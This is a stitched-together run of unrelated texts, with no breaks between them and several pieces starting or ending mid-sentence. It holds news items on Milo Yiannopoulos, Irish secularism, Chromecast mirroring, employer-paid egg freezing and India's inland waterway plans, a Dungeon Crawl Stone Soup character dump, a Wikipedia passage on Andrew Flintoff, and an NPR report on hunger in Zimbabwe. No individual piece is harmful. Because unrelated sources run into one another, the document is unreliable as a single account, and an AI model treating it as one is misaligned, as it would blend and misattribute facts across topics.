"Obviously it's a liberal campus so they hate any libertarians or conservatives who dare to express an opinion on their campuses," he said. "They particularly don't like me."
Yiannopoulos has been a provocative figure online for years, and has been widely criticized for comments he has made about Muslims, Black Lives Matter activists and feminists.
(Reporting by David Ingram in New York; Additional reporting by Alex Dobuzinskis in Los Angeles, Brendan O'Brien in Milwaukee and Andy |
said to have a long memory for grudges: but in my experience of that country over the last 30 years this applies only to a few disaffected bigots.
Like us, most Irish are forward-looking, ambitious and determined. Like us – and this is the great change in recent years – they are an increasingly secular people, having shaken off the domination of the Catholic church, as they proved last year in legalising same-sex marriage.Android smartphone and tablet owners will soon be able to mirror with Chromecast.
Google said it would update its Chromecast app this week to support mirroring between Android smartphones and tablets and televisions, a feature first announced at the Google I/O developer conference in June.
Google's $35 dongle already allows users to cast content from web pages and specific apps to their televisions, but until now Android owners could only fling content from apps that had Chromecast support baked in. With the upcoming update, Android smartphone and tablet owners will be able to mirror their devices' screens to their televisions through Chromecast's Android app.
"Now, anything on your Android device will appear on the TV," wrote Chromecast product manager Ambarish Kenghe in a blog post. "You can share photos stored on your phone with a group of friends, or scope out the scenery for your next family vacation together on the big screen using Google Earth."
Mirroring can be enabled from within the Chromecast Android app. Image: Google
Once updated, mirroring can be enabled by selecting "cast screen" from the Chromecast Android app. Nexus owners will also be able to mirror from their device's quick settings menu.
The feature, currently still in beta, will begin to roll out over "the next few days." Initially, it will only be available to a handful of devices, including the Nexus 4 and 5, Samsung Galaxy S4 and S5, LG G2 and G3, HTC One M7, and the 2013 Nexus 7 tablet, with support for more devices coming in future updates.Apple and Facebook are adding a new perk for female employees: Free egg freezing that would let them delay parenting for a few years.
Facebook started offering the service on Jan. 1. Apple plans to begin in January 2015, according to NBC News.
As women age, their likelihood of successful pregnancies begins to dip, though most women will remain fertile well into their thirties. Oocyte cryopreservation, a.k.a. egg freezing, is seen as a method of maintaining fertility over a longer period since younger eggs tend to be healthier.
See also: 12 Useful YouTube Tutorials for New Parents
Robin McCarthy, vice president of marketing at Eggbanxx, says such employer-based coverage is "not common at all." One main reason for this is that the American Society for Reproductive Medicine stopped calling egg freezing "experimental" just two years ago; McCarthy says previously, egg freezing was mostly intended for cancer patients, who wanted to preserve their eggs in the case of future infertility.
Like IVF, egg freezing is typically not covered by an employer's health insurance. Egg freezing currently costs about $10,000 plus up to $1,000 a year for maintenance. (Facebook and Apple are both covering costs of egg freezing up to $20,000.) McCarthy says the success rates from a frozen egg match those of a fresh egg.
In other words, if you freeze your eggs at age 27 and then wait until age 35 to try in vitro fertilization, the egg will behave like a 27-year-old's. However, the results of an analysis published in August 2013 in the journal Fertility and Sterility indicate that the chances of a live birth after egg freezing for women 30 and older are less than 25%.
Reps from Facebook and Apple could not be reached for comment.
This story was updated on Oct. 14, 2014 at 1:08 p.m. ET.NEW DELHI: The Narendra Modi government aims to develop an Inland Water Transport Grid covering about 4,500 km on the lines of National Highways grid.The shipping ministry is set to take the proposal involving a rough estimate of Rs 20,000 crore to develop these water routes for transportation of bulk cargo and to bring them up as an alternative mode of transport. Cargo movement by waterways is about 30% cheaper than expenses involved in transportation by road.Sources said the grid would include the six national waterways, which have already been notified by the government. These waterways pass through several states including Uttar Pradesh, Bihar, West Bengal, North East Odisha, Kerala, Puducherry and Andhra Pradesh. These cover majority of the big rivers barring Narmada, Tapi and Cauvery.“The national waterways have been finalized after carrying out feasibility studies. Now the process of preparing detailed project reports (DPRs) will start. The government is keen to push waterways as an efficient and cheaper mode of transport, which will also help reduce congestion on both road and rail,” a shipping ministry official said.People riding a boat on the Ganga near Patna. (TOI file photo by KM Sharma)While the recently announced Jal Marg Vikas project on Ganga between Haldia and Allahabad is set to be finalized by March when the DPR would be ready, the other priorities waterways are the stretch between Dhubri and Sadiya of Bhramaputra, stretches of Mahanadi and Baitarani river system in Odisha.Sources said while the stretch between Haldia and Patna on Ganga has already been made operational, for the rest of the waterway there would be investment of approximately Rs 4,000 crore. “We need to build navigable barrages between Buxar and Allahabad. Dredging operation will not be that major,” an official added.It would take about six years to complete this project.People riding a boat on the Ganga at Varanasi. (Getty Images photo)Already Inland Waterways Authority, Odisha government and port authorities of Paradip and Dhamra have signed a MoU for developing and maintaining viable stretches of NW-5 of about 332km in two phases.In the first phase, the stretch between Jakodia to Dhamara and Paradip port will be developed for shipping and navigation of car vessels of approximately 1,500 tonnes. The second phase will cover the stretch between Talcher and Jakodia of about 131km.The development of NW-5 would help speedier and cost effective evacuation of coal, iron ore and other industrial produce from Talcher area to both the ports in the state.* National Waterway (NW) 1: Allahabad–Haldia stretch of Ganges–Bhagirathi–Hooghly river system (1620km)* NW-2: Sadiya — Dhubri stretch of Brahmaputra river (891km)* NW-3: Kottapuram-Kollam stretch of West Coast Canal, Champakara Canal and Udyogmandal Canal (205km)* NW-4: Kakinada–Pondicherry stretch of canals and Kaluvelly Tank, Bhadrachalam — Rajahmundry stretch of River Godavari and Wazirabad — Vijayawada stretch of River Krishna (1,095km)* NW-5: Talcher–Dhamra stretch of the Brahmani River, Geonkhali — Charbatia stretch of East Coast Canal, Charbatia–Dhamra stretch of Matai river and Mangalgadi — Paradip stretch of the Mahanadi River Delta (623km)* NW-6: Lakhipur to Bhanga of river Barak in Assam (121km)Initial estimate for development: Rs 20,000 croredcss easy mode a guest Sep 13th, 2015 351 Never a guest351Never
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rawdownloadcloneembedreportprint text 39.14 KB Dungeon Crawl Stone Soup version 0.16.1 (console) character file. 432978 hehe the Slayer (level 22, -14/333 HPs) Began as a Minotaur Berserker on Sept 10, 2015. Was the Champion of Trog. Demolished by a large abomination (38 damage)... summoned by an ancient lich... on level 5 of the Vaults on Sept 12, 2015. The game lasted 07:48:07 (58108 turns). hehe the Slayer (Minotaur Berserker) Turns: 58108, Time: 07:48:07 Health: -14/333 AC: 34 Str: 43 XL: 22 Next: 87% Magic: 0/36 EV: 20 Int: 2 God: Trog [******] Gold: 4826 SH: 30 Dex: 21 Spells: 0 memorised, 21 levels left rFire + +. SeeInvis. S - +9 short sword {drain, rC- Str+6 Dex+4} rCold x.. Clarity. Q - +3 plate armour {rC+} rNeg... SustAb. B - +5 large shield rPois + Gourm. L - +2 hat rElec. Spirit + l - +0 cloak rCorr. Warding. O - +2 pair of gloves {Dex+3} rMut. Stasis. I - +2 pair of boots {run} MR ++... u - amulet "Pohihy Twuh" {Spirit MP+9} Stlth.......... b - ring of protection from magic D - ring "Qaemiutt" {rPois rF++ rC- Str+4} @: berserking, constricted, drained, very quick, very resistant to hostile enchantments, extremely unstealthy A: retaliatory headbutt, horns 2, dopey 1 a: Burn Spellbooks, Berserk, Trog's Hand, Brothers in Arms, Renounce Religion }: 2/15 runes: decaying, serpentine You were on level 5 of the Vaults. You worshipped Trog. Trog was exalted by your worship. You were not hungry. You visited 10 branches of the dungeon, and saw 49 of its levels. You visited the Abyss 1 time. You also visited: Sewer and Volcano. You collected 5014 gold pieces. You spent 188 gold pieces at shops. Notes Turn | Place | Note -------------------------------------------------------------- 0 | D:1 | hehe, the Minotaur Berserker, began the quest for the Orb. 0 | D:1 | Reached XP level 1. HP: 19/19 MP: 1/1 247 | D:1 | Reached skill level 4 in Axes 288 | D:1 | Reached XP level 2. HP: 27/27 MP: 1/1 1061 | D:1 | Acquired Trog's second power 1303 | D:3 | Reached skill level 1 in Short Blades 1303 | D:3 | Reached XP level 3. HP: 22/33 MP: 2/2 1526 | D:3 | Reached XP level 4. HP: 29/40 MP: 2/2 1759 | D:3 | Noticed an ogre 1764 | D:3 | Killed an ogre 1764 | D:3 | Reached XP level 5. HP: 19/47 MP: 2/2 1944 | D:3 | Found a glowing drain. 1947 | D:3 | Reached skill level 5 in Fighting 1970 | Sewer | Entered a sewer 2139 | Sewer | Acquired Trog's third power 2219 | Sewer | Reached XP level 6. HP: 42/56 MP: 3/3 2269 | Sewer | Reached skill level 1 in Shields 2358 | Sewer | Received a gift from Trog 3344 | D:5 | Entered Level 5 of the Dungeon 3486 | D:4 | Reached XP level 7. HP: 61/61 MP: 3/3 3613 | D:4 | Found an ancient bone altar of Kikubaaqudgha. 3624 | D:4 | Found a shattered altar of Ashenzari. 3633 | D:4 | Found a sparkling altar of Nemelex Xobeh. 3646 | D:4 | Found a radiant altar of Vehumet. 4162 | D:5 | Found a staircase to the Ecumenical Temple. 4169 | D:5 | Reached skill level 5 in Dodging 4186 | Temple | Entered the Ecumenical Temple 4372 | D:5 | Found Grebomn's Food Boutique. 4393 | D:5 | Bought a meat ration for 55 gold pieces 4393 | D:5 | Bought a beef jerky for 16 gold pieces 4614 | D:5 | Reached skill level 5 in Shields 4811 | D:5 | Reached XP level 8. HP: 54/70 MP: 3/3 4870 | D:5 | Noticed Edmund 4878 | D:5 | Killed Edmund 4878 | D:5 | Reached skill level 5 in Armour 5024 | D:6 | Found a shimmering altar of Xom. 5321 | D:6 | Reached skill level 6 in Shields 5377 | D:6 | Noticed a yak 5378 | D:6 | Noticed a yak 5378 | D:6 | Noticed a yak 5380 | D:6 | Noticed a yak 5392 | D:6 | Noticed Menkaure 5399 | D:6 | Killed a yak 5404 | D:6 | Killed a yak 5409 | D:6 | Killed a yak 5409 | D:6 | Reached skill level 5 in Short Blades 5409 | D:6 | Reached skill level 7 in Shields 5410 | D:6 | Killed Menkaure 5412 | D:6 | Killed a yak 5412 | D:6 | Reached XP level 9. HP: 62/75 MP: 4/4 5419 | D:6 | Received a gift from Trog 5424 | D:6 | Found a blossoming altar of Fedhas. 5704 | D:6 | Noticed Eustachio 5713 | D:6 | Killed Eustachio 5943 | D:6 | Found an opulent altar of Gozag. 6139 | D:7 | Got a crude bone amulet 6413 | D:7 | Found Phesm's Antique Armour Boutique. 6417 | D:7 | Bought a glowing chain mail for 117 gold pieces 6538 | D:7 | Found a bloodstained altar of Trog. 6561 | D:7 | Reached skill level 8 in Shields 7305 | D:8 | Identified the amulet "Pohihy Twuh" {Spirit MP+9} (You found it on level 7 of the Dungeon) 7344 | D:8 | Reached skill level 9 in Shields 7386 | D:8 | Received a gift from Trog 7423 | D:8 | Reached XP level 10. HP: 71/88 MP: 4/4 7777 | D:8 | Reached skill level 10 in Shields 8220 | D:10 | Entered Level 10 of the Dungeon 8297 | D:9 | Received a gift from Trog 8586 | D:9 | Noticed Duvessa 8603 | D:9 | Killed Duvessa 8605 | D:9 | Noticed Dowan 8613 | D:9 | Killed Dowan 8747 | D:9 | Found a basalt altar of Yredelemnul. 9283 | D:10 | Noticed a hill giant 9292 | D:10 | Killed a hill giant 9335 | D:10 | Noticed a hill giant 9342 | D:10 | Killed a hill giant 9342 | D:10 | Reached XP level 11. HP: 89/99 MP: 4/4 9504 | D:10 | Reached skill level 10 in Fighting 9504 | D:10 | Reached skill level 10 in Short Blades 9521 | D:10 | Noticed a hill giant 9531 | D:10 | Killed a hill giant 9542 | D:10 | Noticed Erolcha 9552 | D:10 | Killed Erolcha 9959 | D:10 | Noticed a hill giant 9971 | D:10 | Killed a hill giant 10092 | D:11 | Identified a scroll of acquirement 10237 | D:11 | Reached skill level 11 in Short Blades 10274 | D:11 | Found a staircase to the Lair. 10291 | D:11 | Noticed a hill giant 10305 | D:11 | Killed a hill giant 10358 | Lair:1 | Entered Level 1 of the Lair of Beasts 10451 | D:11 | Received a gift from Trog 10540 | D:11 | Noticed a hell knight 10562 | D:11 | Killed a hell knight 10562 | D:11 | Reached skill level 12 in Short Blades 10691 | D:11 | Got a jewelled leather armour 10702 | D:11 | Identified the +1 leather armour "Riocsos" {Int+4} (You took it off an orc wizard on level 11 of the Dungeon) 10875 | D:12 | Found a staircase to the Orcish Mines. 10886 | Orc:1 | Entered Level 1 of the Orcish Mines 10972 | D:11 | Noticed a centaur warrior 10981 | D:11 | Killed a centaur warrior 10981 | D:11 | Reached XP level 12. HP: 86/110 MP: 5/5 11312 | D:12 | Reached skill level 13 in Short Blades 11422 | D:12 | Received a gift from Trog 11433 | D:12 | Got a polished dagger {god gift} 11437 | D:12 | Identified the +8 dagger of the Volcano {pierce, rElec rPois rF- Dex+7} (Trog gifted it to you on level 12 of the Dungeon) 11495 | D:12 | Noticed a skeletal warrior 11510 | D:12 | Killed a skeletal warrior 11510 | D:12 | Reached skill level 12 in Fighting 11707 | D:12 | Noticed a skeletal warrior 11719 | D:12 | Killed a skeletal warrior 11755 | D:12 | Reached skill level 10 in Armour 11892 | D:12 | Noticed a hill giant 11900 | D:12 | Killed a hill giant 11934 | D:12 | Found Saojoj's Book Shoppe. 12334 | Lair:1 | Reached skill level 14 in Short Blades 12447 | Lair:1 | Reached skill level 1 in Stealth 12957 | Lair:2 | Reached skill level 13 in Fighting 13218 | Lair:2 | Reached XP level 13. HP: 86/122 MP: 5/5 13244 | Lair:2 | Received a gift from Trog 13277 | Lair:2 | Got an encrusted war axe 13278 | Lair:2 | Identified the cursed +3 war axe "Nuusch" {chop, Dex+2} (You found it on level 2 of the Lair of Beasts) 13619 | Lair:3 | Reached skill level 2 in Stealth 14963 | Lair:4 | Got a jewelled hand crossbow 14971 | Lair:4 | Found a staircase to the Snake Pit. 14980 | Lair:4 | Received a gift from Trog 15013 | Snake:1 | Entered Level 1 of the Snake Pit 15048 | Lair:4 | Reached skill level 15 in Short Blades 15053 | Lair:4 | Reached skill level 3 in Stealth 15098 | Lair:4 | Reached skill level 11 in Armour 15481 | Lair:4 | Reached skill level 14 in Fighting 15578 | Lair:4 | Found a staircase to the Swamp. 16096 | Lair:5 | Received a gift from Trog 16096 | Lair:5 | Reached skill level 11 in Shields 16349 | Lair:5 | Got a jewelled short sword 16356 | Lair:5 | Identified the +9 short sword "Miub" {drain, rC- Str+6 Dex+4} (You found it on level 5 of the Lair of Beasts) 17063 | Lair:6 | Reached XP level 14. HP: 110/133 MP: 5/5 17089 | Lair:6 | Reached skill level 16 in Short Blades 17141 | Lair:6 | Received a gift from Trog 17774 | Lair:7 | Reached skill level 12 in Shields 18147 | Lair:7 | Found a shimmering altar of Xom. 18268 | Lair:7 | Received a gift from Trog 18420 | Lair:8 | Entered Level 8 of the Lair of Beasts 18501 | Lair:8 | Noticed Erica 18513 | Lair:8 | Killed Erica 18521 | Lair:8 | Reached skill level 15 in Fighting 18759 | Lair:8 | Found a runed door. 18763 | Lair:8 | Found a viscous altar of Jiyva. 18764 | Lair:8 | Found a staircase to the Slime Pits. 18941 | Lair:8 | Received a gift from Trog 19118 | Lair:8 | Reached skill level 12 in Armour 19832 | D:13 | Found a gate to the Vaults. 19971 | D:13 | Found a white marble altar of Elyvilon. 20208 | D:13 | Received a gift from Trog 20219 | D:13 | Got a pitted rapier {god gift} 20238 | D:13 | Identified the +6 rapier "Mnei" {antimagic, Noisy +Blink rElec rF- rN+} (Trog gifted it to you on level 13 of the Dungeon) 20252 | D:13 | Identified the +7 hand crossbow of the Countless Songs {flame, Contam Str+4 SInv} (You found it on level 4 of the Lair of Beasts) 20298 | D:13 | Reached skill level 17 in Short Blades 20298 | D:13 | Reached skill level 13 in Shields 21022 | Orc:1 | Received a gift from Trog 21386 | Orc:2 | Found Qawarua's Gadget Boutique. 21448 | Orc:2 | Found a dark tunnel. 21453 | Volcano | Entered a volcano 21926 | Orc:3 | Found a staircase to the Elven Halls. 22062 | Orc:3 | Reached XP level 15. HP: 143/143 MP: 6/6 22109 | Orc:3 | Noticed Psyche 22114 | Orc:3 | Killed Psyche 22532 | Orc:1 | Received a gift from Trog 22533 | Orc:1 | Got a faintly glowing rapier {god gift} 22534 | Orc:1 | Identified the +3 rapier of a ziggurat {freeze, +Blink +Inv} (Trog gifted it to you on level 1 of the Orcish Mines) 22827 | Orc:4 | Entered Level 4 of the Orcish Mines 22827 | Orc:4 | Found a roughly hewn altar of Beogh. 22913 | Orc:2 | Found a roughly hewn altar of Beogh. 23111 | Orc:1 | Received a gift from Trog 23226 | Orc:4 | Reached skill level 16 in Fighting 23329 | Orc:4 | Found Blomm's Gadget Shoppe. 23329 | Orc:4 | Found Mocirok's Assorted Antiques. 23329 | Orc:4 | Found Kiel's Jewellery Shop. 23329 | Orc:4 | Found Bloegg's Gadget Shoppe. 23353 | Orc:4 | Reached skill level 13 in Armour 23434 | Orc:4 | Received a gift from Trog 23678 | Orc:4 | Received a gift from Trog 23682 | Orc:4 | Got a bloodstained eveningstar {god gift} 24114 | D:14 | Identified the +7 eveningstar of Valuable Assets {freeze, rF+ MR+ Dex+7} (Trog gifted it to you on level 4 of the Orcish Mines) 24410 | D:14 | Noticed Josephine 24422 | D:14 | Killed Josephine 24726 | D:14 | Reached skill level 17 in Fighting 24730 | D:14 | Received a gift from Trog 24733 | D:14 | Got an ebony short sword {god gift} 24737 | D:14 | Identified the +6 short sword of Devotion {holy, +Blink} (Trog gifted it to you on level 14 of the Dungeon) 24991 | D:14 | Reached skill level 14 in Armour 25207 | D:14 | Noticed Sonja 25222 | D:14 | Killed Sonja 25508 | D:15 | Entered Level 15 of the Dungeon 26112 | D:15 | Received a gift from Trog 26171 | D:15 | Reached skill level 18 in Fighting 26319 | D:15 | Found a staircase to the Depths. 26660 | Swamp:1 | Entered Level 1 of the Swamp 26796 | Swamp:1 | Gained mutation: You are partially covered in rugged brown scales (AC +1, +3% HP). [potion of beneficial mutation] 26874 | Swamp:1 | Reached XP level 16. HP: 158/162 MP: 6/6 27033 | Swamp:1 | Found a sacrificial altar of Ru. 27107 | Swamp:1 | Received a gift from Trog 27441 | Swamp:2 | Noticed Norris 27448 | Swamp:2 | Reached skill level 15 in Armour 27471 | Swamp:2 | Killed Norris 27475 | Swamp:2 | Noticed Saint Roka 27495 | Swamp:2 | Killed Saint Roka 27924 | Swamp:2 | Reached skill level 19 in Fighting 28527 | Swamp:3 | Received a gift from Trog 29851 | Swamp:5 | Entered Level 5 of the Swamp 30356 | Swamp:4 | Reached skill level 16 in Armour 30507 | Swamp:5 | Received a gift from Trog 30954 | Swamp:5 | Noticed the 27-headed Lernaean hydra 30969 | Swamp:5 | Killed the 27-headed Lernaean hydra 30969 | Swamp:5 | Reached XP level 17. HP: 166/173 MP: 6/6 31014 | Swamp:5 | Got a decaying rune of Zot 31039 | Swamp:5 | Reached skill level 18 in Short Blades 32364 | Snake:1 | Received a gift from Trog 32456 | Snake:1 | Reached skill level 17 in Armour 32499 | Snake:1 | Reached skill level 20 in Fighting 32765 | Snake:1 | Noticed a greater naga 32796 | Snake:1 | Killed a greater naga 32812 | Snake:1 | Got a smelly plate armour 33080 | Snake:1 | Identified the +10 plate armour of Toezi {rF+ rN+ MP+9 Str-5 Dex-2} (You found it on level 1 of the Snake Pit) 33588 | Snake:2 | Received a gift from Trog 34686 | Snake:2 | Received a gift from Trog 34922 | Snake:3 | Reached skill level 18 in Armour 35032 | Snake:3 | Noticed Aizul 35047 | Snake:3 | Killed Aizul 36054 | Snake:4 | Reached XP level 18. HP: 175/185 MP: 7/7 36404 | Snake:4 | Reached skill level 21 in Fighting 36425 | Snake:4 | Received a gift from Trog 36884 | Snake:4 | Reached skill level 19 in Short Blades 37265 | Snake:5 | Entered Level 5 of the Snake Pit 38149 | Snake:5 | Received a gift from Trog 38461 | Snake:5 | Reached skill level 19 in Armour 38639 | Snake:5 | Received a gift from Trog 38920 | Snake:5 | Got a serpentine rune of Zot 40028 | Elf:1 | Entered Level 1 of the Elven Halls 40192 | Elf:1 | Received a gift from Trog 40195 | Elf:1 | Got a smoking dagger {god gift} 40209 | Elf:1 | Identified the +5 dagger "Demonbane" {venom, +Blink SInv} (Trog gifted it to you on level 1 of the Elven Halls) 40449 | Elf:1 | Noticed Maud 40458 | Elf:1 | Killed Maud 40598 | Elf:1 | Identified a +1 pair of boots of running (You acquired it on level 1 of the Elven Halls) 40702 | Elf:1 | Identified Sten's Casting, Part Four 41124 | Elf:1 | Reached XP level 19. HP: 196/196 MP: 7/7 41198 | Elf:2 | Received a gift from Trog 41238 | Elf:2 | Found a deep blue altar of Sif Muna. 41308 | Elf:2 | Reached skill level 7 in Dodging 41461 | Elf:2 | Found a deep blue altar of Sif Muna. 41522 | Elf:2 | Reached skill level 22 in Fighting 41628 | Elf:2 | Found a runed gate. 41629 | Elf:2 | Found a runed gate. 41629 | Elf:2 | Found a runed gate. 41754 | Elf:2 | Noticed Agnes 41766 | Elf:2 | Killed Agnes 41900 | Elf:2 | Reached skill level 20 in Short Blades 42022 | Elf:2 | Cast into the Abyss (a deep elf sorcerer) 42244 | Abyss:2 | Noticed a bone dragon 42278 | Abyss:2 | Killed a bone dragon 42278 | Abyss:2 | Reached skill level 20 in Armour 42291 | Abyss:2 | Received a gift from Trog 42459 | Elf:2 | Escaped the Abyss 42871 | Elf:3 | Entered Level 3 of the Elven Halls 43086 | Elf:3 | Received a gift from Trog 43573 | Elf:3 | Found Soelot's Antique Weapon Shoppe. 43784 | Elf:3 | Got a steaming jade ring 44110 | Elf:3 | Identified the ring "Psau" {Dex+8 Stlth+} (You took it off a deep elf high priest on level 3 of the Elven Halls) 44178 | Elf:3 | Gained mutation: Armour fits poorly on your strangely shaped body. [a neqoxec] 44181 | Elf:3 | Received a gift from Trog 44181 | Elf:3 | Reached skill level 21 in Short Blades 44868 | Vaults:1 | Entered Level 1 of the Vaults 45154 | Vaults:1 | Reached XP level 20. HP: 208/208 MP: 7/7 45612 | Vaults:1 | Received a gift from Trog 46110 | Vaults:1 | Reached skill level 8 in Dodging 46313 | Vaults:1 | Reached skill level 9 in Dodging 46419 | Vaults:1 | Received a gift from Trog 46704 | Vaults:2 | Reached skill level 10 in Dodging 46799 | Vaults:2 | Got a bone flail 47036 | Vaults:2 | Reached skill level 11 in Dodging 47102 | Vaults:2 | Received a gift from Trog 47573 | Vaults:2 | Lost mutation: You are partially covered in rugged brown scales (AC +1, +3% HP). [potion of cure mutation] 47573 | Vaults:2 | Lost mutation: Armour fits poorly on your strangely shaped body. [potion of cure mutation] 48413 | Vaults:2 | Reached skill level 14 in Shields 48434 | Vaults:2 | Reached skill level 12 in Dodging 48454 | Vaults:2 | Received a gift from Trog 48502 | Vaults:2 | Noticed Xtahua 48514 | Vaults:2 | Killed Xtahua 48934 | Vaults:2 | Reached XP level 21. HP: 207/210 MP: 8/8 48949 | Vaults:2 | Identified the +0 flail "Blitwoubli" {speed, rC+ Str+2 Dex-4} (You found it on level 2 of the Vaults) 49198 | Vaults:3 | Reached skill level 1 in Evocations 49246 | Vaults:3 | Reached skill level 2 in Evocations 49360 | Vaults:3 | Reached skill level 3 in Evocations 49532 | Vaults:3 | Found a staircase to the Crypt. 49540 | Vaults:3 | Reached skill level 4 in Evocations 49670 | Vaults:3 | Received a gift from Trog 49867 | Vaults:3 | Reached skill level 5 in Evocations 50042 | Vaults:3 | Reached skill level 23 in Fighting 50289 | Vaults:3 | Noticed Frederick 50296 | Vaults:3 | Killed Frederick 50357 | Vaults:3 | Received a gift from Trog 50715 | Vaults:4 | Reached skill level 21 in Armour 50715 | Vaults:4 | Reached skill level 13 in Dodging 50715 | Vaults:4 | Reached skill level 15 in Shields 50778 | Vaults:4 | Received a gift from Trog 51580 | Vaults:4 | Received a gift from Trog 51892 | Vaults:4 | Got a coiled glass ring 51893 | Vaults:4 | Identified the ring of Ifudub {+Inv rElec Stlth+} (You found it on level 4 of the Vaults) 52595 | Depths:1 | Entered Level 1 of the Depths 52792 | Depths:1 | Found Schauj's Quality Used Wands. 53114 | Depths:1 | Received a gift from Trog 53695 | Depths:1 | Reached XP level 22. HP: 220/220 MP: 23/23 53970 | Depths:1 | Found a gateway to Hell. 53985 | Hell | Entered the Vestibule of Hell 53985 | Hell | Noticed Geryon 54716 | Depths:1 | Reached skill level 16 in Shields 54855 | Hell | Killed Geryon 54872 | Hell | Reached skill level 14 in Dodging 55055 | Hell | Received a gift from Trog 55125 | Hell | Found a gateway to the decaying netherworld of Tartarus. 55232 | Hell | Noticed Murray 55251 | Hell | Killed Murray 55333 | Hell | Found a gateway to the ashen valley of Gehenna. 55792 | Hell | Found a gateway to the Iron City of Dis. 55807 | Hell | Reached skill level 22 in Short Blades 55980 | Hell | Found a gateway to the freezing wastes of Cocytus. 56728 | Depths:2 | Reached skill level 6 in Evocations 56955 | Depths:2 | Reached skill level 7 in Evocations 57082 | Depths:2 | Received a gift from Trog 57681 | Vaults:5 | Entered Level 5 of the Vaults 57715 | Vaults:5 | Reached skill level 8 in Evocations 57764 | Vaults:5 | Reached skill level 24 in Fighting 58017 | Vaults:5 | Got a brightly glowing iron ring 58029 | Vaults:5 | Identified the ring "Qaemiutt" {rPois rF++ rC- Str+4} (You took it off a vault warden on level 5 of the Vaults) 58043 | Vaults:5 | Noticed an ancient lich 58060 | Vaults:5 | Gained mutation: You are dopey. (Int -2) [a cacodemon] 58108 | Vaults:5 | Demolished by a large abomination Inventory: Hand weapons S - the +9 short sword "Miub" (weapon) {drain, rC- Str+6 Dex+4} (You found it on level 5 of the Lair of Beasts) A truly terrible weapon, it drains the life of those it strikes. It affects your strength (+6). It affects your dexterity (+4). It makes you vulnerable to cold. Armour j - a +3 plate armour of magic resistance l - a +0 cloak (worn) B - a +5 large shield (worn) I - a +2 pair of boots of running (worn) L - a +2 hat (worn) O - a +2 pair of gloves of dexterity (worn) Q - a +3 plate armour of cold resistance (worn) T - a +0 plate armour of fire resistance X - a +1 shadow dragon armour Jewellery b - a ring of protection from magic (right hand) p - an uncursed ring of protection from fire r - the ring "Psau" {Dex+8 Stlth+} (You took it off a deep elf high priest on level 3 of the Elven Halls) |
Pong Guy in which hot sporting topics are discussed.[44] The podcast won two categories at the 2017 Radio Academy Awards – Best Podcast and Best New Show – and Flintoff himself was awarded the Best New Presenter category.[45]
Flintoff was the sideline reporter for Australian Ninja Warrior, which aired on the Nine Network in July 2017 and July 2018.
In September 2017, Flintoff was the main presenter for Cannonball on ITV with Frankie Bridge, Radzi Chinyanganya, Ryan Hand and Maya Jama as poolside reporters.
He appeared in the BBC drama Love, Lies & Records. In December 2017, Flintoff hosted All Star Musicals for ITV.[46]
In October 2018, it was announced that Freddie will be the new host of Top Gear alongside Paddy McGuinness and Chris Harris. Filming for the 27th series of the BBC Two show will begin in early 2019.[47]
Personal life [ edit ]
Flintoff with his wife Rachael in 2016.
Flintoff married Rachael Wools Flintoff on 5 March 2005 at the 30 Pavilion Road Hotel in Knightsbridge, London. They have three children: a daughter, Holly (born 6 September 2004); and two sons – Corey (born 8 March 2006), and Rocky (born 7 April 2008).[48] He has the names Rachael, Holly, Corey and Rocky tattooed on his left shoulder.
Flintoff's father, Colin, and his brother, Chris, both played cricket, with Colin still playing for Whittingham Cricket Club near Preston. During his innings of 167 against the West Indies at Edgbaston in July 2004, one six off Jermaine Lawson was hit high into the Ryder Stand and was almost caught by his father, who fumbled the ball and dropped it. Colin Flintoff remarked "If I'd taken it he'd have been the first Test batsman to be caught out by his dad!"[49]
Flintoff's cousin is John-Paul Flintoff, an author, broadcaster and journalist. "Flintoff Way" in Preston is named after their grandparents.[50]
Autobiographies [ edit ]
Flintoff has written several books:
Being Freddie
Freddie
Andrew Flintoff, My Life in Pictures
Ashes to Ashes
Good Times, Bad Times
Documentaries [ edit ]
His career has been subject of a number of TV films and documentaries. In Freddie Flintoff: Hidden Side of Sport broadcast on the BBC One in 2012,[51] he talks candidly in moving interviews with Steve Harmison, Vinnie Jones and Ricky Hatton and others about the serious effects of depression. He confronts his own issues as captain of England under pressure and under fire at the top of his game. Freddie reveals the stigma attached to talking about depression in the face of an often unforgiving public.
In the documentary Flintoff: From Lord's to the Ring in 2012 broadcast on Sky 1,[52] the cricket champion is followed in a 3-episode series while pursuing a possible career as a professional boxer under the guidance of trainers Barry McGuigan and his son Shane McGuigan. "Biggie", Sugar Ray Leonard, Mike Tyson make appearances in the documentary where Flintoff is preparing for a boxing match.
Awards and honours [ edit ]
Professional boxing record [ edit ]
Professional record summary 1 fight 1 win 0 losses By decision 1 0
No. Result Record Opponent Type Round, time Date Location Notes 1 Win 1–0 PTS 4 30 November 2012 Manchester Arena, Manchester, England
News [ edit ]
11 February 2019 - BBC News reported: "Top Gear presenter crashes during Mansfield filming" (https://www.bbc.co.uk/news/av/uk-england-nottinghamshire-47198667/top-gear-presenter-crashes-during-mansfield-filming)Food Crisis Expands In Tumultuous Zimbabwe
Enlarge this image toggle caption Ofeibea Quist-Arcton/NPR Ofeibea Quist-Arcton/NPR
Enlarge this image toggle caption Ofeibea Quist-Arcton/NPR Ofeibea Quist-Arcton/NPR
Enlarge this image toggle caption Ofeibea Quist-Arcton/NPR Ofeibea Quist-Arcton/NPR
While Zimbabwe's political leaders continue to bicker over key Cabinet posts in a power-sharing government, many people are going hungry.
Their country was once the breadbasket of southern Africa, but now more and more Zimbabweans are forced to hunt for sustenance and barter essential commodities in exchange for food.
Meanwhile, the U.N. World Food Program has cut rations and forecasts a full scale humanitarian emergency by January.
In a small town in northern Zimbabwe, Katy Phiri, a frail old woman — clearly exhausted under the scorching midday sun — picks her way through a vast field of recently plowed and harvested corn, the main staple food in Zimbabwe. She gathers all the leftover single corn kernels she can find. Easily in her 70s, the wizened grandmother says she hasn't eaten for three days.
"I'm hungry. I'm very hungry," she says. "There's nothing I can do about it. I just do what I can to keep myself alive. I have never gone this hungry before. This is the worst year, because in the past, at least there was something to eat. There's nothing to eat around here. It's hard."
A 'Very Serious' Situation
Like many Zimbabweans, Phiri says she can only put her trust in God. Where she lives, they've had no running water for months, and there are daily power outages for those lucky enough to have electricity. Feeling dizzy and nauseous, Phiri sits down in the shade on a cushion of bare corn cobs and crackly dry leaves, with a modest bowl of golden-colored kernels at her feet. She said she would grind the corn to eat with her grandson. Her last meal consisted of a wild root called manyanya.
Phiri lives in the remote Doma area, once a top grain-producing district of Zimbabwe. Now people around the area and in other parts of the country are simply going hungry. Many are foraging in the bush for wild berries and guavas.
